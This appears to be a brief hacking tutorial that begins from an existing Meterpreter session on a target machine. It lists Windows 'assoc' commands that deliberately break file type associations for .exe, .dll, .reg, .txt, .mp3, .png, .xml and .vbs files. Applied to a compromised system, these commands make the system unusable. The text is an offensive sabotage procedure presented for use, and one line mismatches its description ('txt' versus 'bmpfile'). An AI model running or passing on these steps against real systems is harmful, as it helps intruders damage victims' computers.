Once you got the meterpreter session use ‘shell ‘command to get command prompt of the target
To change the file type association for .dll files to txt type assoc .dll=txtfile then press ENTER.
To change the file type association for .exe files to png type assoc .exe=pngfile then press ENTER.
To change the file type association for .mp3 files to jpg type assoc .mp3=jpgfile then press ENTER.
To change the file type association for .reg files to xml type assoc .reg=xmlfile then press ENTER
To change the file type association for .txt files to reg type assoc .txt=regfile then press ENTER.
To change the file type association for .png files to txt type assoc .png=txtfile then press ENTER.
To change the file type association for .xml files to txt type assoc .xml=txtfile then press ENTER.
To change the file type association for .vbs files to txt type assoc .vbs=bmpfile then press ENTER.